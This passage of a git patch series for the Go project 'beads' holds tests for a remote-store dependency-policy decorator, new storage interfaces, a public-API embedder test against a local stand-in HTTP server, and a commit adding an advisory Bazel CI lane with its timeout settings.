blocked by %v, want nothing", blockedBy["be-001"]) + } + if want := []int{100, 50}; !slices.Equal(raw.edgeReads, want) { + t.Errorf("served edge reads named %v anchors, want %v", raw.edgeReads, want) + } +} + +// TestRemoteTreeWalkerAddsExternalLeaves: the served down-tree gains the leaf +// its stored edges name, a leaf the server rendered is not repeated, and any +// other walk is the served answer as it came. +func TestRemoteTreeWalkerAddsExternalLeaves(t *testing.T) { + root := &types.TreeNode{Issue: *issue("be-a")} + served := &types.TreeNode{Issue: types.Issue{ID: paymentsRef, Title: "served leaf"}, Depth: 1, ParentID: "be-a"} + for _, tc := range []struct { + name string + req publicops.WalkTreeRequest + tree []*types.TreeNode + wantIDs []string + }{ + {name: "down walk", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50}, tree: []*types.TreeNode{root}, wantIDs: []string{"be-a", paymentsRef}}, + {name: "server rendered the leaf", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50}, tree: []*types.TreeNode{root, served}, wantIDs: []string{"be-a", paymentsRef}}, + {name: "up walk", req: publicops.WalkTreeRequest{RootID: "be-a", MaxDepth: 50, Direction: publicops.TreeUp}, tree: []*types.TreeNode{root}, wantIDs: []string{"be-a"}}, + } { + t.Run(tc.name, func(t *testing.T) { + raw := newRemoteStore() + raw.tree = tc.tree + blockOnPayments(raw, "be-a") + walker, err := testStore(raw, &fakeStore{}, true).TreeWalker() + if err != nil { + t.Fatalf("TreeWalker: %v", err) + } + + result, err := walker.WalkTree(t.Context(), tc.req) + if err != nil { + t.Fatalf("WalkTree: %v", err) + } + ids := make([]string, 0, len(result.Nodes)) + for _, node := range result.Nodes { + ids = append(ids, node.ID) + } + if !slices.Equal(ids, tc.wantIDs) { + t.Fatalf("tree = %v, want %v", ids, tc.wantIDs) + } + if leaf := result.Nodes[len(result.Nodes)-1]; tc.name == "down walk" { + if leaf.Status != types.StatusOpen || leaf.ParentID != "be-a" || leaf.Depth != 1 || leaf.Title != "○ payments" { + t.Fatalf("leaf = %+v, want the open payments leaf under be-a", leaf) + } + } + }) + } +} + +// TestRemoteBatchCloserRefusesExternallyBlockedItems: a still-open externally +// blocked item is refused the way the local policy close refuses it and the +// rest close in one served request. An item already closed keeps the served +// answer, Force waives the policy, and a server that enforces the policy gets +// the whole batch. +func TestRemoteBatchCloserRefusesExternallyBlockedItems(t *testing.T) { + for _, tc := range []struct { + name string + force bool + enforced bool + wantRefused bool + }{ + {name: "policy", wantRefused: true}, + {name: "force", force: true}, + {name: "server enforces", enforced: true}, + } { + t.Run(tc.name, func(t *testing.T) { + blocked, free, done := issue("be-blocked"), issue("be-free"), issue("be-done") + done.Status = types.StatusClosed + raw := newRemoteStore(blocked, free, done) + raw.enforced = tc.enforced + blockOnPayments(raw, blocked.ID, done.ID) + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + request := publicops.CloseBatchRequest{Actor: "worker", Force: tc.force, Items: closeItems(blocked.ID, free.ID, done.ID)} + result, err := closer.CloseBatch(t.Context(), request) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + if len(result.Outcomes) != len(request.Items) { + t.Fatalf("CloseBatch answered %d outcomes for %d items", len(result.Outcomes), len(request.Items)) + } + for i, outcome := range result.Outcomes { + if outcome.IssueID != request.Items[i].IssueID { + t.Fatalf("outcome %d is %s's, want %s's", i, outcome.IssueID, request.Items[i].IssueID) + } + } + wantServed := []string{blocked.ID, free.ID, done.ID} + if tc.wantRefused { + refusal := result.Outcomes[0].Err + want := "cannot close blocked issue: be-blocked is blocked by [" + paymentsRef + "]" + if !errors.Is(refusal, storage.ErrCloseBlocked) || refusal.Error() != want { + t.Fatalf("be-blocked outcome = %v, want %q", refusal, want) + } + wantServed = []string{free.ID, done.ID} + } else if result.Outcomes[0].Err != nil { + t.Fatalf("be-blocked outcome = %v, want it closed", result.Outcomes[0].Err) + } + if result.Outcomes[1].Err != nil || result.Outcomes[2].Err != nil { + t.Fatalf("be-free, be-done outcomes = %v, %v; want the served answers", result.Outcomes[1].Err, result.Outcomes[2].Err) + } + if want := [][]string{wantServed}; !slices.EqualFunc(raw.closes, want, slices.Equal[[]string]) { + t.Fatalf("served closes = %v, want %v", raw.closes, want) + } + }) + } +} + +// TestRemoteBatchCloserRefusesANextClaim: the served batch close cannot carry +// a next claim, so a batch with one is refused whole, the same way whether the +// workspace holds an open holder of an external ref, only a closed one, or +// none, and with Force too. The refusal leads with that wire fact, reads +// nothing, closes nothing and names the commands that do the same work. A +// server that enforces the policy itself gets the request as it came, and its +// closer answers. +func TestRemoteBatchCloserRefusesANextClaim(t *testing.T) { + for _, tc := range []struct { + name string + holder types.Status + force bool + enforced bool + wantServed []string + }{ + {name: "open holder", holder: types.StatusOpen}, + {name: "closed holder", holder: types.StatusClosed}, + {name: "no holder"}, + {name: "force", holder: types.StatusOpen, force: true}, + {name: "server enforces", holder: types.StatusOpen, enforced: true, wantServed: []string{"CloseBatch ClaimNext"}}, + } { + t.Run(tc.name, func(t *testing.T) { + free, holder := issue("be-free"), issue("be-holder") + raw := newRemoteStore(free, holder) + raw.enforced = tc.enforced + if tc.holder != "" { + holder.Status = tc.holder + blockOnPayments(raw, holder.ID) + } + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + _, err = closer.CloseBatch(t.Context(), publicops.CloseBatchRequest{ + Actor: "worker", Force: tc.force, Items: closeItems(free.ID), ClaimNext: &publicops.ReadyRequest{}, + }) + if tc.enforced { + if !errors.Is(err, errServedClaimNextRefused) { + t.Fatalf("CloseBatch with ClaimNext = %v, want the served closer's answer", err) + } + } else { + var unsupported *storage.ErrUnsupported + if !errors.As(err, &unsupported) || unsupported.Op != "CloseBatchRequest.ClaimNext" { + t.Fatalf("CloseBatch with ClaimNext = %v, want the CloseBatchRequest.ClaimNext refusal", err) + } + if msg := err.Error(); !strings.Contains(msg, "cannot carry a next claim") || !strings.Contains(msg, "nothing was closed") || !strings.Contains(msg, "then run `bd ready --claim`") { + t.Fatalf("refusal %q does not say why, that nothing closed, and what to run instead", msg) + } + } + if !slices.Equal(raw.served, tc.wantServed) { + t.Fatalf("served calls = %v, want %v", raw.served, tc.wantServed) + } + if len(raw.closes) != 0 || len(raw.edgeReads) != 0 || raw.scans != 0 { + t.Fatalf("closes %v, edge reads %v, scans %d; want none", raw.closes, raw.edgeReads, raw.scans) + } + }) + } +} + +// TestRemoteBatchCloserValidatesANextClaimFirst: a next claim that is invalid +// on every backend is ErrValidation, not the refusal. +func TestRemoteBatchCloserValidatesANextClaimFirst(t *testing.T) { + for name, claim := range map[string]*publicops.ReadyRequest{ + "offset": {Offset: 1}, + "bad sort": {Sort: "bogus"}, + } { + t.Run(name, func(t *testing.T) { + raw := newRemoteStore(issue("be-free")) + closer, err := testStore(raw, &fakeStore{}, true).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser: %v", err) + } + + _, err = closer.CloseBatch(t.Context(), publicops.CloseBatchRequest{ + Actor: "worker", Items: closeItems("be-free"), ClaimNext: claim, + }) + var unsupported *storage.ErrUnsupported + if !errors.Is(err, storage.ErrValidation) || errors.As(err, &unsupported) { + t.Fatalf("CloseBatch with ClaimNext %+v = %v, want ErrValidation", claim, err) + } + }) + } +} diff --git a/internal/storage/externaldeps/role_accessors.go b/internal/storage/externaldeps/role_accessors.go index 464bf30dc..7ba88001d 100644 --- a/internal/storage/externaldeps/role_accessors.go +++ b/internal/storage/externaldeps/role_accessors.go @@ -14,8 +14,19 @@ import ( // IssueReader builds the read role on the policy store. In particular, Ready // and List(ReadyFlag) must call this store's filtered ready methods rather than -// promoted methods on the undecorated store. -func (s *Store) IssueReader() (issueops.Reader, error) { return storereader.New(s) } +// promoted methods on the undecorated store. Over a remote store the served +// reader answers everything else (remote_roles.go). +func (s *Store) IssueReader() (issueops.Reader, error) { + policy, err := storereader.New(s) + if err != nil || !s.servesRoles() { + return policy, err + } + served, err := s.inner.IssueReader() + if err != nil { + return nil, err + } + return &remoteReader{served: served, policy: policy}, nil +} // IssueClaimer rejects a direct claim of externally blocked work before the // backend's atomic claim operation. ReadyClaimer below handles selection among @@ -25,6 +36,9 @@ func (s *Store) IssueClaimer() (issueops.Claimer, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteClaimer{served: inner, policy: s}, nil + } return &issueClaimer{inner: inner, policy: s}, nil } @@ -47,6 +61,9 @@ func (c *issueClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (is // ReadyClaimer keeps external blockers out of the ready-claim selection used // by HTTP serving. The local compare-and-swap remains inside ClaimReadyIssue. func (s *Store) ReadyClaimer() (issueops.ReadyClaimer, error) { + if s.servesRoles() { + return &remoteReadyClaimer{policy: s}, nil + } return &readyClaimer{policy: s}, nil } @@ -86,6 +103,9 @@ func (s *Store) BlockingAnnotator() (issueops.BlockingAnnotator, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteBlockingAnnotator{served: inner, policy: s}, nil + } return &blockingAnnotator{inner: inner, policy: s}, nil } @@ -119,6 +139,9 @@ func (s *Store) TreeWalker() (issueops.TreeWalker, error) { if err != nil { return nil, err } + if s.servesRoles() { + return &remoteTreeWalker{served: inner, policy: s}, nil + } return &treeWalker{inner: inner, policy: s}, nil } @@ -128,7 +151,7 @@ type treeWalker struct { } func (t *treeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { - if (req.Direction != "" && req.Direction != issueops.TreeDown) || req.Status != "" || req.MaxRows != 0 { + if !plainDownTree(req) { return t.inner.WalkTree(ctx, req) } nodes, err := t.policy.GetDependencyTree(ctx, req.RootID, req.MaxDepth, false, false) diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 61f80cde0..c4a2ba951 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -1022,6 +1022,55 @@ type ExternalDependencyQueryStore interface { GetExternalBlockingDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) } +// RemoteBackendStore is implemented by a DoltStorage that is a pure network +// client of a remote bd serve process (a registered backend whose +// backends.Backend.Remote is true — see internal/storage/backends). It is +// metadata about the store's transport, not a policy decision. Its one in-tree +// consumer is the external-deps decorator, which wraps a remote store like any +// other and reads this marker only to choose how it composes its roles: over a +// remote store it builds each role on the store's own served role instead of +// the legacy methods such a store refuses. Whether the decorator skips its +// client-side enforcement is ExternalDependencyPolicyProber's question. +type RemoteBackendStore interface { + IsRemoteBackendStore() bool +} + +// ExternalDependencyPolicyProber is implemented by a DoltStorage that can +// answer whether the remote server it talks to already enforces bd's +// external-dependency policy itself (design 3.6, "External-dependency server +// policy": upstream's storage.ServerEnforcedPolicy / PolicyEnforcedByServer). +// The external-deps decorator consults this — never RemoteBackendStore, which +// only shapes how it composes its roles — before skipping its own client-side +// enforcement: a remote store whose +// server advertises the capability (httpapi's policy.external_dependencies) +// has already enforced the policy before answering, so a second client-side +// pass would be redundant. A store that does not implement this interface, or +// that implements it and reports false — including a remote store whose +// server is silent on the capability — gets the ordinary client-side +// enforcement. The policy is never silently skipped merely because the store +// is remote. +type ExternalDependencyPolicyProber interface { + ServerEnforcesExternalDependencyPolicy(ctx context.Context) (bool, error) +} + +// ExcludeIDsUnsupportedStore is implemented by a DoltStorage whose ready-work +// reads cannot express types.WorkFilter.ExcludeIDs over their own transport. +// Today that is exactly httpclient.Store: the v0 wire's listReadyWork and +// countReadyWork operations publish no id-exclusion parameter, so the http +// bridge refuses rather than silently widening the result set whenever a +// filter carries any (design 3.6 / L12, "every field it cannot express +// refuses"). +// +// The external-deps decorator consults this before deciding how to apply its +// OWN additional exclusions (issues blocked by an unsatisfied +// external:: dependency): a store that answers true here +// gets those exclusions applied client-side in Go instead of folded into the +// filter handed down, so the policy still runs — design 3.6 says it is never +// silently skipped — without tripping the wire's own refusal. +type ExcludeIDsUnsupportedStore interface { + ExcludeIDsUnsupported() bool +} + // Transaction provides atomic multi-operation support within a single database transaction. // // The Transaction interface exposes a subset of storage methods that execute within diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index c2e206425..ebbedeaa1 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -898,6 +898,10 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + "//backend/http:http_served_test": { + []string{"$(rootpath :http_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", "BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/test/embedder/BUILD.bazel b/test/embedder/BUILD.bazel new file mode 100644 index 000000000..f17f9cd85 --- /dev/null +++ b/test/embedder/BUILD.bazel @@ -0,0 +1,73 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "embedder_test", + srcs = ["embedder_test.go"], + deps = [ + "//:beads", + "//backend", + "//backend/http", + "//issueops", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +# --- end repo_files --- diff --git a/test/embedder/embedder_test.go b/test/embedder/embedder_test.go new file mode 100644 index 000000000..66ab6c6c5 --- /dev/null +++ b/test/embedder/embedder_test.go @@ -0,0 +1,253 @@ +// Package embedder_test proves the one promise S6 makes to an out-of-tree +// embedder (gc, Gas City is the motivating case): linking nothing but PUBLIC +// doors — github.com/steveyegge/beads, .../backend, and .../backend/http — is +// enough to register the http backend and open a workspace through it with a +// per-call credential, via beads.OpenBestAvailableWith. +// +// Written fresh for OSS beads S6 (no bd-enterprise source copied). This +// package imports ONLY those three import paths (plus the standard library +// and net/http/httptest for the stand-in server): no internal/... package +// appears in this file's imports, which is itself the thing under test — an +// internal import here would compile today and break silently the day +// internal/httpclient's shape changes, defeating the whole point of a public +// door. +package embedder_test + +import ( + "context" + "encoding/json" + "go/parser" + "go/token" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + "testing" + + beads "github.com/steveyegge/beads" + "github.com/steveyegge/beads/backend" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/issueops" +) + +// TestNoInternalImports is the mechanical, enforced form of this file's doc +// comment promise above: nothing in this package may import a +// github.com/steveyegge/beads/internal/... package, directly or otherwise. +// That import would compile fine today and only break silently the day some +// internal package's shape changes — exactly what a public-door embedder +// test exists to catch before it ships. It replaces an earlier, separate +// go.mod for this directory: a second module cannot see internal/... either, +// but it is heavier machinery for the same guarantee, and nothing stops a +// future edit from deleting a go.mod quietly, whereas this test fails loudly +// in the same `go test` run as everything else. +// +// It only inspects this package's own files' import declarations +// (go/parser, ImportsOnly — no type-checking, so it stays fast and adds no +// dependency beyond the standard library) and does not recurse into what +// those imports themselves pull in; that transitive check is exactly what +// go build/go vet already do on every change. +func TestNoInternalImports(t *testing.T) { + fset := token.NewFileSet() + pkgs, err := parser.ParseDir(fset, ".", nil, parser.ImportsOnly) + if err != nil { + t.Fatalf("ParseDir: %v", err) + } + const forbidden = "github.com/steveyegge/beads/internal" + for _, pkg := range pkgs { + for filename, file := range pkg.Files { + for _, imp := range file.Imports { + path, err := strconv.Unquote(imp.Path.Value) + if err != nil { + t.Fatalf("%s: unquoting import %s: %v", filename, imp.Path.Value, err) + } + if path == forbidden || strings.HasPrefix(path, forbidden+"/") { + t.Errorf("%s imports %q: test/embedder must link only public doors, never an internal/... package", filename, path) + } + } + } + } +} + +const embedderProjectID = "proj-gc-tenant" + +// embedderReadyIssueID is the one issue the stand-in server's /v0/beads/ready +// page carries, so the test has something distinctive to assert on besides +// "the call did not error". +const embedderReadyIssueID = "gc-1" + +// backendName is spelled literally, the way a workspace's metadata.json +// carries it, rather than read back from a re-exported constant: bdhttp +// deliberately exports no Backend name constant (see backend/http/http.go), +// so a rename of the registry key here would be caught by every CONNECTED +// workspace left unopenable, which is the fact this spells out explicitly +// instead of hiding behind a symbol that does not exist. +const backendName = "http" + +// TestEmbedderOpensTheHTTPBackendThroughThePublicDoorsOnly is the linkage +// proof: Register from the public backend/http door, a workspace described +// only by the public Target/SaveTarget helpers, and +// beads.OpenBestAvailableWith from the public root package — no package under +// internal/... in the call chain this test writes. +func TestEmbedderOpensTheHTTPBackendThroughThePublicDoorsOnly(t *testing.T) { + server := newStandInServer(t) + bdhttp.Register(bdhttp.Options{HTTPClient: server.Client()}) + t.Cleanup(func() { backend.Deregister(backendName) }) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + // SaveTarget, like the package's other low-level helpers, writes into an + // already-existing directory; creating it is the caller's job (cmd/bd's + // connect command does the same MkdirAll before calling SaveTarget). + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir %s: %v", beadsDir, err) + } + base, err := url.Parse(server.URL) + if err != nil { + t.Fatalf("parse stand-in server URL: %v", err) + } + target := bdhttp.Target{BaseURL: base, ExpectProjectID: embedderProjectID} + // Attach is the one public call that activates a workspace for this + // backend: it writes the per-user sidecar (what SaveTarget alone used to + // leave to this test) AND metadata.json's {"backend": "http"} selection — + // the fact that tells OpenBestAvailableWith to consult the registry at + // all — in one call, the same pair `bd connect` itself now calls through + // (cmd/bd/connect.go). Before Attach existed this test hand-wrote + // metadata.json's JSON shape directly, since there was no public door + // onto that second file's writer; asserting the on-disk shape below + // keeps this test proving the SAME canary (a rename of the registry key + // breaks every connected workspace) without reaching into + // internal/configfile for it. + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + metadataBytes, err := os.ReadFile(filepath.Join(beadsDir, "metadata.json")) + if err != nil { + t.Fatalf("reading metadata.json after Attach: %v", err) + } + var metadata struct { + Backend string `json:"backend"` + } + if err := json.Unmarshal(metadataBytes, &metadata); err != nil { + t.Fatalf("parsing metadata.json after Attach: %v", err) + } + if metadata.Backend != backendName { + t.Fatalf("metadata.json backend = %q, want %q", metadata.Backend, backendName) + } + + // A multi-tenant embedder's reason to call OpenBestAvailableWith rather + // than OpenBestAvailable: this credential is THIS caller's, not whatever + // the ambient process environment happens to hold, which belongs to no + // one tenant in a process serving many. + provider := &tenantCredential{token: "gc-tenant-token"} + store, err := beads.OpenBestAvailableWith(context.Background(), beadsDir, beads.OpenOptions{ + Credential: bdhttp.ProvidedCredential{Provider: provider}, + }) + if err != nil { + t.Fatalf("OpenBestAvailableWith: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + // The read itself goes through the role accessor, not a backend-specific + // method: IssueReader().Ready is issueops.Reader's own door, the same one + // `bd ready` calls against ANY backend. Ready is the simplest operation to + // stand a fake server in for — a single GET with no pagination contract + // and no handshake capability gate (it is a baseline v0 operation) — so + // this proves the public linkage without reimplementing the wire's + // capability negotiation in a throwaway test server. + reader, err := store.IssueReader() + if err != nil { + t.Fatalf("IssueReader: %v", err) + } + page, err := reader.Ready(context.Background(), issueops.ReadyRequest{}) + if err != nil { + t.Fatalf("Ready: %v", err) + } + if len(page.Items) != 1 || page.Items[0].ID != embedderReadyIssueID { + t.Errorf("ready page = %+v, want one item %q", page.Items, embedderReadyIssueID) + } + server.wantAuthorization(t, "Bearer gc-tenant-token") +} + +// tenantCredential is a bdhttp.CredentialProvider scoped to one embedded +// tenant, built from nothing but the public CredentialProvider interface. +type tenantCredential struct{ token string } + +func (c *tenantCredential) Authorize(_ context.Context, req *http.Request) error { + req.Header.Set("Authorization", "Bearer "+c.token) + return nil +} + +func (c *tenantCredential) Refresh(context.Context) (bool, error) { return false, nil } + +// standInServer is a minimal bd serve stand-in: just enough of the v0 +// handshake response for Open/GetMetadata to succeed, recording the +// Authorization header every request carried. +type standInServer struct { + *httptest.Server + mu sync.Mutex + auths []string +} + +func newStandInServer(t *testing.T) *standInServer { + t.Helper() + s := &standInServer{} + s.Server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.mu.Lock() + s.auths = append(s.auths, r.Header.Get("Authorization")) + s.mu.Unlock() + w.Header().Set("Content-Type", "application/json") + switch r.URL.Path { + case "/v0/beads/context": + // Open/OpenWith dial lazily and never fetch this on their own + // (the handshake is cached per-process on the first POST-BASELINE + // dispatch — see internal/httpclient.Store.snapshot) — Ready + // below is baseline and preflights without one. This handler + // stays in place anyway: it is the one other request a workspace + // opened through this backend could legitimately make, and a + // stand-in server that 404s it would be a trap for the next + // person who extends this test to a non-baseline operation. + _ = json.NewEncoder(w).Encode(map[string]any{ + "api_version": "v0", + "backend": "dolt", + "bd_version": "9.9.9", + "beads_dir": "/srv/.beads", + "capabilities": []string{"issues.get", "issues.list"}, + "database": "beads", + "dolt_mode": "server", + "project_id": embedderProjectID, + "repo_root": "/srv", + "schema_version": 1, + "wire_revision": 1, + "min_client_wire_revision": 1, + }) + case "/v0/beads/ready": + _ = json.NewEncoder(w).Encode(map[string]any{ + "has_more": false, + "items": []map[string]any{ + {"id": embedderReadyIssueID, "title": "embedder linkage proof", "priority": 2}, + }, + }) + default: + http.NotFound(w, r) + } + })) + t.Cleanup(s.Server.Close) + return s +} + +func (s *standInServer) wantAuthorization(t *testing.T, want string) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) == 0 { + t.Fatal("the stand-in server saw no requests at all") + } + for i, got := range s.auths { + if got != want { + t.Errorf("request %d carried Authorization %q, want %q", i, got, want) + } + } +} diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index fcddec75c..b7e0b6570 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -177,6 +177,7 @@ release_cross_build( ":pure_bd_has_no_cgo_only_deps", "//:beads", "//backend/conformance:conformance", + "//backend/http:http", "//backend:backend", "//beadserrors:beadserrors", "//cmd/bd/doctor/fix:fix", From eb204363c953d9eaabe7f18f7a6d313e0f21ffcb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 10:13:49 +0000 Subject: [PATCH 097/213] ci(bazel): add advisory dolt-race shadow lane (item 5 phase 1) (#7464) * ci(bazel): add advisory dolt-race shadow lane (item 5 phase 1) Add --config=dolt-race, the union of --config=doltserver and --config=doltserver-proxied with one tag filter for both tiers, and an advisory bazel-dolt-race job that runs it beside bazel-doltserver and bazel-proxied. The shadow measures one client per group of lanes against the two lanes it would replace before any cutover (item 5 slice A1a). The job runs in mode remote on pull_request and merge_group events only. It has job-level continue-on-error, no job or workflow_call output, and no gate names it, so it cannot change CI Gate or PR Risk Gate. Its ci-analytics step is copied verbatim with LANE=dolt-race, and rrc seeds the new config. Policy tests pin the config as the exact union of its members' lines (tag filter aside), the job's run modes and events, its advisory shape, the analytics lane map and the rrc command list. aquery shows every member target's TestRunner action (actionKey, argv, env, inputs, outputs) is unchanged under the union config. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): give the dolt-race shadow timeout headroom; fix gate-wait wording Review follow-up on the advisory bazel-dolt-race job (maintainer-city-c3, findings 1, 2 and 5): - Raise the job's timeout-minutes from 30 to 35. continue-on-error covers a failed or timed-out step, but not a job GitHub cancels at its own timeout, which could make the bazel call non-success and turn CI Gate red. TestBazelDoltRaceShadowIsAdvisory now reads both timeouts from the workflow and requires job >= test step + 10 (and a step timeout at all). - Correct the docs and comments: the shadow cannot fail the gate, but CI Gate still waits for it, because its needs on the bazel call completes only when every job in it has finished. - Correct the checks comment: check_testcases covers every target in the union, including the dolt-server tier its own lane never checked. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): bound every dolt-race shadow step; job timeout covers their sum Review follow-up (S1): a hang in any bazel-dolt-race step without a timeout would run into the job's own timeout, and a job GitHub cancels there is not covered by continue-on-error. Every step now has a timeout-minutes, and the job's timeout covers their sum: - checkout 5, rrc read 1, setup-bazel 10, flaky query 5, checks 3 each, test-log upload 3. The test step (25) and the analytics steps (3, 2) keep bazel-proxied's values; bazel-proxied sets no timeout on the others, so these bound them. - The step timeouts sum to 60 minutes, so the job timeout goes from 35 to 65. - TestBazelDoltRaceShadowIsAdvisory now requires a timeout on every step and job >= sum(step timeouts) + 5, read from the workflow, alongside the existing job >= test step + 10. Also cite the farm maintainer's confirmation of NativeLink 1.7.1's in-flight Execute dedupe in the job comment. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): keep dolt-race shadow timeout under the merge queue's Tighten the shadow's non-test step budgets so the job timeout (step sum + 5) is 55 minutes, and pin that it stays below the 60-minute merge queue check timeout: CI Gate waits for the shadow, so a hung shadow must not drop a group from the queue. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 26 +++ .github/scripts/rrc-lane-commands.txt | 1 + .github/workflows/bazel.yml | 173 +++++++++++++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 33 +++ scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 4 +- scripts/bazel_dolt_race_shadow_test.go | 305 +++++++++++++++++++++++++ scripts/bazel_rrc_test.go | 5 +- scripts/ci_analytics_workflow_test.go | 3 + scripts/ci_merge_queue_test.go | 1 + scripts/ci_workflow_test.go | 36 ++- scripts/pr_risk_bazel_coverage_test.go | 3 + 12 files changed, 584 insertions(+), 7 deletions(-) create mode 100644 scripts/bazel_dolt_race_shadow_test.go diff --git a/.bazelrc b/.bazelrc index 63d000368..61e7e0207 100644 --- a/.bazelrc +++ b/.bazelrc @@ -161,6 +161,32 @@ test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ # visible "Re-run failed jobs" retries it. test:doltserver-proxied --experimental_remote_cache_eviction_retries=0 +# dolt-server + proxied union (item 5, Phase 1 shadow): bazel.yml's advisory +# bazel-dolt-race job runs both tiers in one invocation, beside their own +# lanes, to measure one client per group of lanes before any cutover. Exactly +# the union of --config=doltserver's and --config=doltserver-proxied's lines, +# with one tag filter naming both tiers +# (scripts/bazel_dolt_race_shadow_test.go). Every other flag is the same in +# both members or outside any action key for the other: the race build, +# -test.parallel=4 and GO_TEST_WRAP_TESTV=1 are common; the eternal timeout +# applies to no dolt-server target; the eviction retry count is what +# doltserver already gets from --config=sole-run in mode remote, the only mode +# the shadow runs in; test_summary, local_test_jobs and remote_download_regex +# are not in any action key. So each member target's test action is +# unchanged, and the two lanes' cached results carry over. The member configs +# stay for make, developers and the member lanes. +test:dolt-race --@rules_go//go/config:race +test:dolt-race --test_tag_filters=dolt-server,dolt-server-proxied +test:dolt-race --build_tests_only +test:dolt-race --keep_going +test:dolt-race --test_summary=terse +test:dolt-race --test_timeout=-1,-1,-1,1200 +test:dolt-race --test_env=GO_TEST_WRAP_TESTV=1 +test:dolt-race --test_arg=-test.parallel=4 +test:dolt-race --local_test_jobs=4 +test:dolt-race --remote_download_regex=.*/test\.(log|xml)$ +test:dolt-race --experimental_remote_cache_eviction_retries=0 + # Server-Dolt storage tier: PR Risk's "Test (Server Dolt Conformance)" and # "Test (Server Dolt Full Suite N/16)" jobs, as # //internal/storage/dolt:dolt_server_{conformance,full}_test diff --git a/.github/scripts/rrc-lane-commands.txt b/.github/scripts/rrc-lane-commands.txt index 08bd7eb5e..8821ad271 100644 --- a/.github/scripts/rrc-lane-commands.txt +++ b/.github/scripts/rrc-lane-commands.txt @@ -9,6 +9,7 @@ test //... --config=embedded test //... --config=integration test //... --config=doltserver test //... --config=doltserver-proxied +test //... --config=dolt-race test //... --config=doltserver-integration test //... --config=doltserver-cmd build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index ce9bf223b..e78832963 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -46,7 +46,11 @@ # only what the PR changed is built and tested on the runner, and it is # their only PR-time integration run (no legacy job runs it on PRs). Mode # local (rbe=off) still skips it. Direct runs (push to main, -# workflow_dispatch, nightly.yml's call) gate nothing. +# workflow_dispatch, 